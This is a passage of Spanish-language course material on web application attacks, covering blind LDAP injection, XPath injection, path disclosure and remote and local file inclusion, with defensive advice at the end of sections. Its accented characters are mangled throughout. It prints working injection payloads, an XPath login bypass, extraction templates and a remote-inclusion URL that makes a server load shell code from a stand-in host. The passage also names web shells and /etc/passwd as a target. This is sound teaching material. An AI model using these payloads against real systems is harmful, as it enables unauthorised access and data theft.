El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

